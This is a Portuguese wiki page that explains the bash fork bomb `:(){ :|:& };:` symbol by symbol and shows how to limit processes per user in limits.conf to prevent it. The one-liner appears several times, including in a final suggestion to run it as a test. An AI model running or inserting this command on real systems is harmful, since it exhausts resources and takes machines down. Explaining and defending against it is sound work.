Função de looping infinito (Fork Bomb)

De Wiki Hackstore

Como funciona um Fork Bomb

O : (dois pontos) é uma variável. A função : é atribuida, em seguida chama ela mesma, que passa a saída dela pra ela mesma e depois chama ela de novo e começa TUDO de novo...

:(){ :|:& };:

Para ficar mais claro, troque o : por loop por exemplo:

Código:

loop(){ loop|loop& };loop

loop() <-- função
{ loop|loop&}; <-- passa a saida da função loop para loop
  loop --> executa a função loop de novo....


Outra forma melhor de entender seria que:

() - Definiu a função chamada : . Esta função não aceita argumentos. A sintaxe para a função bash é como se segue:
foo(){
   arg1=$1
   arg2=$2
   echo "Bar.."
}


fork() bomb é definido como se segue:

:() <-- função
{ :|:& }; <-- passa a saida da função : para :
  : --> executa a função : de novo....

: |: - Em seguida ele irá chamar-se usando a técnica de programação chamada recursão e envia a saída para outra chamada da função ':'. A pior parte é que a função é chamada duas vezes para bombardear o seu sistema.

& - Coloca a chamada de função em segundo plano para criança não pode morrer em tudo e começar a comer recursos do sistema.

; - Finaliza a definição da função

: - Call (run) a função aka definir o fork () bomb.


Aqui está o código legível para humanos:

bomb() {
   bomb | bomb &
}; bomb


Como prevenir um Fork Bomb

Só há uma maneira possível, que é limitando o número de processo por usuário.

Edite o arquivo /etc/security/limits.conf e adicione as linhas abaixo:

vivek hard nproc 300
@student hard nproc 50
@faculty soft nproc 100
@pusers hard nproc 200

Salve e teste o Fork Bomb:

:(){ :|:& };: